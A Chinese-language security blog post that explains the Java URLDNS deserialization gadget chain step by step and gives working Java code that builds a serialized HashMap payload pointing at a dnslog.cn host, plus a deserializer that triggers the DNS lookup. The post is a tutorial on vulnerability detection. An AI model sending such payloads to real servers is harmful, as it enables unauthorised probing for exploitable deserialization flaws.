title: JAVA反序列化-URLDNS链date: 2022/3/14 20:46:25
categories: JAVA安全
tags: JAVA安全

关于URLDNS

URLDNS是java原生态的一条利用链条通常存在反序列化漏洞进行验证的,因为是原生态所以并不存在什么版本限制。

处理流程

首先跟进HashMap

发现readObject

JAVA反序列化-URLDNS链 - 图1

跟进hash查看

JAVA反序列化-URLDNS链 - 图2

发现hash接受对象作为参数,如果对象不为空 那么调用当前类的hashCode方法

JAVA反序列化-URLDNS链 - 图3

这里看URL这个类里面存在hashCode方法

JAVA反序列化-URLDNS链 - 图4

发现hashCode方法

JAVA反序列化-URLDNS链 - 图5

hashCode默认值为-1

JAVA反序列化-URLDNS链 - 图6

如果不等于-1返回hashCode

所以hashCode得等于-1才会往下执行

会调用handler中的hashCode方法

跟进查看

JAVA反序列化-URLDNS链 - 图7

我们参数传递u跟进getHostAddress方法查看做了什么

JAVA反序列化-URLDNS链 - 图8

然后调用getByName解析host

所以整条链的调用流程

hashmap->readObject->hash->URL.hashCode->getHostAddress->InetAddress.getByName

如何实现

因为我们序列化过程也会执行访问handler.hashCode,那么就会访问dnslog,反序列化过程也会访问dnslog,所以我们想办法不让其往下执行不让他执行getHostAddress

JAVA反序列化-URLDNS链 - 图9

令hashCode不为-1。

所以我们可以使用反射来修改URL类中的一些参数值,来修改URL中的hashCode值。

反射的利用

利用反射来修改类中属性的值,

序列化

  1. package dnsTest;
  2. import java.io.*;
  3. import java.lang.reflect.Field;
  4. import java.net.*;
  5. import java.util.*;
  6. public class dnsTest {
  7. public static void main(String[] args) throws Exception{
  8. HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
  9. URL url = new URL("http://67v7g8.dnslog.cn");
  10. //反射调用URL类
  11. Class c = URL.class;
  12. //申请访问URL类中的hashCode赋值给fieldHashCode
  13. Field fieldHashCode = c.getDeclaredField("hashCode");
  14. //设置fieldHashCode为true
  15. fieldHashCode.setAccessible(true);
  16. //设置url类中的hashCode值为123
  17. fieldHashCode.set(url,123);
  18. hashmap.put(url,22);
  19. //设置url类中的hashCode值为-1
  20. fieldHashCode.set(url,-1);
  21. Serialize(hashmap);
  22. }
  23. public static void Serialize(Object obj) throws Exception{
  24. ObjectOutputStream InputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));
  25. InputStream.writeObject(obj);
  26. InputStream.close();
  27. }
  28. }

反序列化

  1. package dnsTest;
  2. import java.io.*;
  3. public class unserialize {
  4. public static void main(String[] args) throws Exception {
  5. unserialize();
  6. }
  7. public static void unserialize() throws Exception{
  8. ObjectInputStream InputStream = new ObjectInputStream(new FileInputStream("ser.txt"));
  9. Object obj = InputStream.readObject();
  10. System.out.println(obj);
  11. }
  12. }